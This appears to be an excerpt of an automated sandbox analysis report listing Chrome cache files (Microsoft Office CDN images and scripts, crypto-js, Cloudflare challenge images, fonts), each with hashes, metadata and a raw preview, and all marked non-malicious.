Preview:	wOF2......)0......R ..(.........................?FFTM..&..... .`..z......T.:.....6.$.... ..^..e..D%......,...QI8.aB'-...Kn..5..O.&..e....P.(#4.w7\|........=wD..........}.k..1.8.._..^.Y.........m..h.;.2.....wx...}......>.}..AD.....H.R....=\|....[..#..........5"b.h..X#v.RcV.awR.K..kul..9.jI"m..A .i.%....=.....o..W..75H...h8".........k{....?.i.H...Hvt.%.V..#.l)....s...ly.-5...R.+-..7..[.....D..Z...l6...Yv.#....#.Ft...c.TJ.._..U{.WB..:..........E.D.....5.y......ED..d......!......d.ArR@...s:w....t........)....Kv.x*.h....7.-[a..2l.{:.<u.V...:.......[.F2...ZV.N.....j..W....T\Z....@....y.i.\|.....p......] ,..`,.t....LDAB...hs#..w.( i..l.g......U.#@n..N.8.O`l.@r..X.......S.o.._`..1z..VVt.;U&B"&.\|."'...4..rL.QV..5.1i.G..Y....A..N]...o..iH...D.[......!.p.9^...!...nu....2..D....`.Xc.%vNA.V.Y...B...-..pU.J..(.)...42b%.$.t..u.....J... {........)9y.E.].^..Y.C7..Y....U....`q.".W.n6......a...tjc........,...a..h..b...\|Y..Ya.........m..../..hA.2.Z0.....U.4.....3A..-.

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47691)
Category:	dropped
Size (bytes):	47692
Entropy (8bit):	5.401573598696506
Encrypted:	false
SSDEEP:	768:IXCtQmIutwVHBzZBF6gmXLSOzQDjdadOQbk6sgEvxm7b39tobLKZUvnw81KZLGcD:IGJWHBzZBF6xbGeLsVvQ33FUvDW
MD5:	B0B3774E70E752266B4CF190E6D95053
SHA1:	03823D33D8C374DD69B66F1D75A5FC93D29967E1
SHA-256:	A9F0787E39291D7BCB873D0D514F1D2C8DB0256FD741C2ABC4D46A809254E141
SHA-512:	8060AA547C3F32930EC2A3786A6BB15054F396D8EAB238EA34E881C2EEAE0D013AF246FDDE85DA8A5BFC2690B1EB26E5138B45BAA28479264DB3BA458D4055A8
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1059 x 736, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	421343
Entropy (8bit):	7.9930283068921435
Encrypted:	true
SSDEEP:	12288:CzhXKcW0EjM7MmgItOOh5SdW8fgmAGbvEG:Czh6tI7MmqA5OW8fgfGbvT
MD5:	5EEEC8E6F540AAC271BB6D8BD113115A
SHA1:	B3256E64A78DD1A5CF6173ED958F69BC09E7E885
SHA-256:	434138E6620D458BEC6FB1F53DF26AAF6F57B4FDBDF14ED2EA03EDDF642A156A
SHA-512:	6D464624DA20CCE660174494492E14593E3A6765C4D01C223F68C38999BC83EF70E8E1BFD374EAE33295927C1B6A28F69716BBDA20591B2C31AE39C8F4EF7A49
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/highlight-edu-2-mreb-5eeec8e6f5.png
Preview:	.PNG........IHDR...#................pHYs.........&.:4....sRGB.........gAMA......a...mtIDATx...[..q..w..y.o.=..Y3...[V..(.v.;R..m......cN....NU@q.............@QI.(.!P.sp..%.$.f.....Y........D....Z..}.{x......>,.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z...$.E..}5....-Z.h.E..N.Z....h.F..^.I{...b.._._~}....}.^}...?.o...U>?\|...W..w/\|=..\|..}...g......./...x.s......=..~..........g.Q<.....}...

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	179664
Entropy (8bit):	5.57242625403082
Encrypted:	false
SSDEEP:	3072:DismT/mHKxQlVyDqBPAizS7Mzm3NLJa2lQn+SH:2smT+X+NLJab+SH
MD5:	6A2073F0830A1B6A47B3870D86B393BB
SHA1:	601DBDE429B9D00D3B67F606508D05C28B1D0D6D
SHA-256:	A68DF9235219213CA470D25ADF1DFAA14044428296A0DF8A8FB935A678730404
SHA-512:	6F07A04898E5C4B14ACCE2F5C17A11F1223293E791FC237D7CCF90DD8DB9AF9CF84F43A06016AB0D10E6CE3842549EABAEE1ED895D1789836D3E21C91CD42FA0
Malicious:	false
Reputation:	low
URL:	https://mem.gfx.ms/scripts/me/MeControl/10.24228.4/en-US/meBoot.min.js
Preview:	MeControlDefine("meBoot",["exports","@mecontrol/web-inline"],function(t,S){"use strict";var c=function(){},i={},u=[],p=[];function O(t,e){var r,n,o,i,a=p;for(i=arguments.length;2<i--;)u.push(arguments[i]);for(e&&null!=e.children&&(u.length\|\|u.push(e.children),delete e.children);u.length;)if((n=u.pop())&&void 0!==n.pop)for(i=n.length;i--;)u.push(n[i]);else"boolean"==typeof n&&(n=null),(o="function"!=typeof t)&&(null==n?n="":"number"==typeof n?n=String(n):"string"!=typeof n&&(o=!1)),o&&r?a[a.length-1]+=n:a===p?a=[n]:a.push(n),r=o;var s=new c;return s.nodeName=t,s.children=a,s.attributes=null==e?void 0:e,s.key=null==e?void 0:e.key,s}function T(t,e){for(var r in e)t[r]=e[r];return t}function d(t,e){t&&("function"==typeof t?t(e):t.current=e)}var e="function"==typeof Promise?Promise.resolve().then.bind(Promise.resolve()):setTimeout;var l=/acit\|ex(?:s\|g\|n\|p\|$)\|rph\|ows\|mnc\|ntw\|ine[ch]\|zoo\|^ord/i,r=[];function a(t){!t._dirty&&(t._dirty=!0)&&1==r.push(t)&&e(n)}function n(){for(var t;t=r.pop();)t

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1094 x 761, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	489526
Entropy (8bit):	7.995720041871589
Encrypted:	true
SSDEEP:	6144:aKimPYeigxfUPOwwMSavIHHukSrlKdZmzrC41zbxJa9ZqHqqzM0pZAyeRLqtt3LP:aKPFyOziIHOEgz2izjDANRLsl+4H7
MD5:	708BCC570AD4887E2C1854014B472FC0
SHA1:	768539D7A0EF0061097FF3AE0895EE437D543A13
SHA-256:	88A8CE64B7B33A367FC73338F5E319B3546DD782E0336CCA07D00A54B5C51DA0
SHA-512:	9E35EBDE9BBC942B2F1ECDD7A700D2822B651EC1682B27BB14936A683A5E7288D6F151B3299B2D423B2A2526516519991B7F967F1A466936E91EDAB4CAC13F8B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...F...........!.....pHYs.........&.:4....sRGB.........gAMA......a...w.IDATx.....$.Y.....O....l..]..*.d...d...X`0.^....{...\s...K...m0..m0`2.e..]m........t.t..}...{...l.vv..nMwW..>U.....=..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..0..

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30221)
Category:	downloaded
Size (bytes):	30273
Entropy (8bit):	5.26135621409318
Encrypted:	false
SSDEEP:	768:42W2n0SMB/2ZsJIjrAWJdvgmfQFc6mjVqMP62A86uIz3yR:4XM0S0/ks2JdImYFcw662A86vzyR
MD5:	9A3D03748259F75C7FCB9FF38217188B
SHA1:	603E40F5EDF8A9F9776ABAF40608D8188F14AA43
SHA-256:	85ED62025446CE50B8DB01DBE45485596DB9B9DB6A305BFA3E86AD8EA7305214
SHA-512:	B2E7463DC490BB22FD4CAC06555B54DC844CD20B84B18618CA207689435B7FADA1E85BFABC725863E5E8FB4C1F7BD3EF082E7780DF1BAF1955759209E621284F
Malicious:	false
Reputation:	low
URL:	https://mem.gfx.ms/meversion?partner=office&market=en-us&uhf=1
Preview:	window.MSA=window.MSA\|\|{};window.MSA.MeControl=window.MSA.MeControl\|\|{};window.MSA.MeControl.Config={"ver":"10.24228.4","mkt":"en-US","ptn":"office","gfx":"https://amcdn.msftauth.net","dbg":false,"aad":true,"int":false,"pxy":true,"msTxt":false,"rwd":true,"telEvs":"PageAction, PageView, ContentUpdate, OutgoingRequest, ClientError, PartnerApiCall, TrackedScenario","instKey":"b8ffe739c47a401190627519795ca4d2-044a8309-9d4b-430b-9d47-6e87775cbab6-6888","oneDSUrl":"https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js","remAcc":true,"main":"meBoot","wrapperId":"uhf","cdnRegex":"^(?:https?:\\/\\/)?(mem\\.gfx\\.ms(?!\\.)\|controls\\.account.microsoft?(?:-int\|-dev)?(\\.com)?(:[0-9]{1,6})\|amcdn\\.ms(?:ft)?auth\\.net(?!\\.))","timeoutMs":30000,"graphv2":false,"graphinfo":{"graphclientid":null,"graphscope":null,"graphcodeurl":null,"graphredirecturi":null,"graphphotourl":null},"aadUrl":"https://myaccount.microsoft.com","msaUrl":"https://account.microsoft.com/","authAppUpsell

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2500 x 828, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1568713
Entropy (8bit):	7.994353727710284
Encrypted:	true
SSDEEP:	24576:+SlEJttUZ+N7R8NrWZaF2sTAHPapdyjLLb7pFhO0+juu1nwdYAfnJ:+Qw8IcrSawsTMjLTpPj
MD5:	7BF078A5F39C15673178E3C77EBDFBCE
SHA1:	3FEAC213FCA05D4811FA705C60D726F5DC81B06D
SHA-256:	7C5FBD491C8E2916ACDB0955EC27F21E6C933860B33626FD1DED5486816BDD35
SHA-512:	CD621836F8420630E1A1A1B0F5BACDBFACB6C3FAC6CD9F93CF0500C5F3C05B8485C7CF0AF9CCE3F5025399FCC718EB0C8318C4E28174742D920D50022490FECE
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/m365-rebrand-value-edu-mreb-7bf078a5f3.png
Preview:	.PNG........IHDR.......<.....s.1.....pHYs.................sRGB.........gAMA......a....^IDATx...Y.%Iz....1.i...s........@.8..}(RF3]Qf}...f4.Q...?A7.L...tA...e..%..I:.....Q...Du.9.yXcD....=.#..U...Px...k..<<<<<v.....B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	15406
Entropy (8bit):	4.967552114438246
Encrypted:	false
SSDEEP:	192:2xApRWtvbsjgIYYQlV47U/1z8QsCj99/R1qa/PRZs6M75m4vU6GCi28urvZQYH3:FRIwcVeq8wjjLENG72tl
MD5:	31D62B976C16DB52CBF0D5631BCDE62C
SHA1:	18F2D0B838D766B642E787E222075DDFF5285662
SHA-256:	04663FB0B01FC27B402519F0B000DB2B98EF3754C8C99C21E304262D2353AB62
SHA-512:	104E20B3977B6ADAF6847D62199656A4E93CA3478D78335DBA65B807C4375E8AA3FB41BD12B3EA0CF11C689C21BC1486DA063415372F4AD090D95DC2517880E1
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/favicon_m365-31d62b976c.ico
Preview:	............ .h...6... .... .(.......00.... .h&......(....... ..... ....................................................o..o.z.................................................v.........{...u.v.m.................................O.................y...r...l..g.O.................x...n!..c...a/..............w...o...h...c..._...Zx..........z9..v-..q!..h...^...b:..~.......t...j...c...^...Z}..Wz..........zH..zE..y<..u...o!..f..W.a.\|.a.n..c...\...Xy..Uv..Tq..........zS..{T..{T..{Q..yG..v...........d...Y{.Tu..Po..Kh..t\..........{`..\|b..\|e..\|i..\|n..................Mk..If..C]..lS...P..........{l..\|p..\|u..}}..}.z.................C^z.ST..O...O...O..........}x..}\|..}...}...mw..I7...........N..L...M...M...N...N..........}...}...}...~...ag..\9..xC..G..I..K...K...L...M...N..........}...}...~...~...ak..^:..{C..F..H..I..K..K...L...M..........x...}...~.......bl.._;..\|C..F...G..I..J..K..K...K..................~.O....gt..a;..}C..F..G..H..I..JO......................

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1598 x 899, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1236532
Entropy (8bit):	7.99453807364983
Encrypted:	true
SSDEEP:	24576:3IR94Q7f3YaeokAGfdoICPLOHpob3i8/eCsjNKSOyP82Rx7BiVQFMqna:3IR9hz3OyedoZyHpyzer023BieKqa
MD5:	EAFC3935A3559F15248B9409658D978F
SHA1:	46242446924C4DB9208646689119EFACFF1C93FD
SHA-256:	B38F5C1FD010828E2DFC90300D3C2AB93DF49CF75C758BBBFF6B0A987D64C448
SHA-512:	A1F345BFA3D85C7436E5F8EC6DA3147779BC903B6E59B24732C1302AEE8366B6E60D5F3281022485E4580B22D440AF80798010E06B0E2639BEB0DBE357347B7E
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/highlight-consumer-3-mreb-eafc3935a3.png
Preview:	.PNG........IHDR...>...........x1....pHYs.................sRGB.........gAMA......a.....IDATx...W.m....1W^;.\|.n..n.K...&...).Y.(.l.....a....~1l.O._...~4.`..m..!AjB.(..@R......7T<g..g...XkW..'V........s......WU .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ ..D................o'bl...@ .....@ .....@ .....@ ......M....E.E<'}...r.g..Z...Ws..1.^.~.m.S_..e..{...x.c..4/....x.{\|..gA...s.g.S/.,.2..,.....UAD1...@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ ..../..$-..g...."..#......#.B\|.5.......2........Y..M..bL=...R.g.7y.{U....q...........>.....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ .....@ ......B...\|].}.HO.....Y.,.x......C.....m.j.#.!....{\|.=...S.{<.^.=.km.e.\|Y.H...g}'......<..Mc.E..w..J...w....@ .....@ .....@ .....@ ........E...z..o..._MD.......Q..W.....@ .....@ .....@ .....@ ...^.B/......~.\|].._v.g

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32000)
Category:	downloaded
Size (bytes):	149053
Entropy (8bit):	5.440876470211605
Encrypted:	false
SSDEEP:	3072:ueeUcMiWa1y6FIwee1fw5hXmk9fVyIRiaO0TnNUrt:feUB8UOf0hX/9YaBTnyrt
MD5:	95F2F0FC50065B017596646C65E90D3E
SHA1:	900566D546C121942D1964250FE4D3CEC23ADF3D
SHA-256:	898F9F6B7CF9D9E797BB187001FCEDEB9999F912C9DC1A2CF5ABD30D961CC69D
SHA-512:	9EF614ABB368F3291A22264287F7A7C7A8217CCEF71BA46E624C8B385D49AA8A9B13C7FEEE5338CAB632D3B1493864E7EE46A3D988F2437B5C66CBA65A5F395F
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/bundles/unauth-95f2f0fc50.js
Preview:	var __awaiter=this&&this.__awaiter\|\|function(e,t,n,i){function r(e){return e instanceof n?e:new n(function(t){t(e)})}return new(n\|\|(n=Promise))(function(n,a){function o(e){try{u(i.next(e))}catch(e){a(e)}}function c(e){try{u(i.throw(e))}catch(e){a(e)}}function u(e){e.done?n(e.value):r(e.value).then(o,c)}u((i=i.apply(e,t\|\|[])).next())})},__generator=this&&this.__generator\|\|function(e,t){function n(e){return function(t){return i([e,t])}}function i(n){if(r)throw new TypeError("Generator is already executing.");for(;c&&(c=0,n[0]&&(u=0)),u;)try{if(r=1,a&&(o=2&n[0]?a.return:n[0]?a.throw\|\|((o=a.return)&&o.call(a),0):a.next)&&!(o=o.call(a,n[1])).done)return o;switch(a=0,o&&(n=[2&n[0],o.value]),n[0]){case 0:case 1:o=n;break;case 4:return u.label++,{value:n[1],done:!1};case 5:u.label++,a=n[1],n=[0];continue;case 7:n=u.ops.pop(),u.trys.pop();continue;default:if(o=u.trys,!(o=o.length>0&&o[o.length-1])&&(6===n[0]\|\|2===n[0])){u=0;continue}if(3===n[0]&&(!o\|\|n[1]>o[0]&&n[1]<o[3])){u.label=n[1];break}if

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 46, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.014960565232002
Encrypted:	false
SSDEEP:	3:yionv//thPl6jxrTshkxl/k4E08up:6v/lhPLhk7Tp
MD5:	203F48345A4DA178097383EE3214E560
SHA1:	4022A98B416F0EA482F44F7BD57F7A44786985D4
SHA-256:	25D215474FEE72DDA1471237A943970C493F47814016D8EED50CF473B31A18B4
SHA-512:	F928421DA8AA8D68DD506CE48AEDA075EDEE436394B8F3682A304F3B9AD91FD36F26A83779735D8BF085577EFC44C1805AAB87864E7D7610554AC2445F730779
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............xD.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (525), with CRLF line terminators
Category:	downloaded
Size (bytes):	590
Entropy (8bit):	4.9630712254781955
Encrypted:	false
SSDEEP:	12:Qnm9y7R/isdHYjDN1I2PAiQZYY7UObQ1vrsQfM8ztq:jU7YsdyR67iSQObQJwV8M
MD5:	B41DB5D35B6D610C0D1D7CC7A192972E
SHA1:	93EC649A33824C862ABBBD28B91CB3AB5DFEA0F9
SHA-256:	0244F61E935C77A2C01E600520ED5936D990F9825FAB2755EAA096DC43CC92E2
SHA-512:	3121F27928BE29B8E4513C21A7EA173136CA0F22CFD0D69E722E71C90807E13756CA082C6569A5F24DB0D492E660C68C9DF601B0AAD85C4E363D010BA62C645A
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/versionless/workbox-v3.6.2/workbox-cacheable-response.prod.js
Preview:	this.workbox=this.workbox\|\|{},this.workbox.cacheableResponse=function(t){"use strict";try{self.workbox.v["workbox:cacheable-response:3.6.3"]=1}catch(t){}class s{constructor(t={}){this.t=t.statuses,this.s=t.headers}isResponseCacheable(t){let s=!0;return this.t&&(s=this.t.includes(t.status)),this.s&&s&&(s=Object.keys(this.s).some(s=>t.headers.get(s)===this.s[s])),s}}return t.CacheableResponse=s,t.Plugin=class{constructor(t){this.e=new s(t)}cacheWillUpdate({response:t}){return this.e.isResponseCacheable(t)?t:null}},t}({});....//# sourceMappingURL=workbox-cacheable-response.prod.js.map..

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 11100, version 1.0
Category:	downloaded
Size (bytes):	11100
Entropy (8bit):	7.981314257601996
Encrypted:	false
SSDEEP:	192:uW6VIH/eJH8zI33ipXWVgfDPbyVvDUOSkWJxRhCaev7eZYxrPEsDtPM95E:UVIHmV8XXcgfDVJkgwaev7LP3pPM95E
MD5:	906BA74C1F7A4FD42174E0F58FAD3C95
SHA1:	3631818302580F0E0DA3ED54E8488CE72B1D4B11
SHA-256:	BB232FD09A6696CE21EC10A43B89933E12AD866DFDE30A4A6A08E08082E6557D
SHA-512:	287E1F5EB314302ED3D78D17516D9105DEAF5AE325C3CDAA1298BAB455C187022B53643A88BB9A64074707A1E19392B12F7BCAC6601EB0FDE66DBE7FB19C2E6D
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_regular.woff2
Preview:	wOF2......+\......V............................?FFTM..&..... .`..z......X.......6.$.... ..@..r..I....n.!$.;S...H.._<............AS1A......ne.]'.....{?..XV..x....R,....V.4..S ...r...._.rg1.5:..........OrI........j.0...........y.B7..........6..S.......6.1F.F.....=`...q.ti.(.}'r..g...!5C4y/......m:....&X..jl...;.+yVD...h.$.....d.....93.VhFv......lg......A..CFC.o..?..K.W.X..W.......Bf.`...s.a47...~)...ScE$.@.<...M.....T......4..2...7...y.......h.....N$DB.?_.../...\|..f.jd"b.;%....R..m...#.e.5UI...B..........H...Iw...V{..q..K..C...0..W.....3}..U..].....".8#2.;(...O....f4e.5....cb....Ro..b..!.....=p...._.7w..'~.'.>Y.....bQG!............!.<~.....A..9!LG._..>@.D?s..3......Q...5?iH.8t.v..A.....u.......l..=.'tRL.Y,W..R:..~.].4I.t....%.2z}...Z_./................J.....9jG..j#..,B.3*.5a.`.......W..^....8.n. ...&,1.......F.C(.YI..-1w(5.6..5...>..].g.K.x.......ZL[./..dwP)t.\|I/.h.T\BR.n.i\|P..eL.L_.+.C..........$...t...O_~....~.i..A.,...={q...^..F.Z.7.

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 46, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.014960565232002
Encrypted:	false
SSDEEP:	3:yionv//thPl6jxrTshkxl/k4E08up:6v/lhPLhk7Tp
MD5:	203F48345A4DA178097383EE3214E560
SHA1:	4022A98B416F0EA482F44F7BD57F7A44786985D4
SHA-256:	25D215474FEE72DDA1471237A943970C493F47814016D8EED50CF473B31A18B4
SHA-512:	F928421DA8AA8D68DD506CE48AEDA075EDEE436394B8F3682A304F3B9AD91FD36F26A83779735D8BF085577EFC44C1805AAB87864E7D7610554AC2445F730779
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8f077fd7ad501889/1733941343090/xw4d4iYvwLWLQe7
Preview:	.PNG........IHDR.............xD.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1143 x 794, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	383270
Entropy (8bit):	7.988693191327277
Encrypted:	false
SSDEEP:	6144:TPRLLUNp5X4PgHMt6rH4wJKdPUQ8hR8YXR+JQKFTRvMqtpKyg9N/hTWjrA3S1SmI:hYNTIP/wJuMQ8hR8YXR+JQK3gz/JGA3t
MD5:	7B89E7B9A1E5F0E2AD529D5A85E1ACB7
SHA1:	304ECC4375129D905E70AFE830E998470DADECD9
SHA-256:	1329D493F7D313CA0026EB2664D1AACECBCA82D5BE70F692DD61C980F3BB16BE
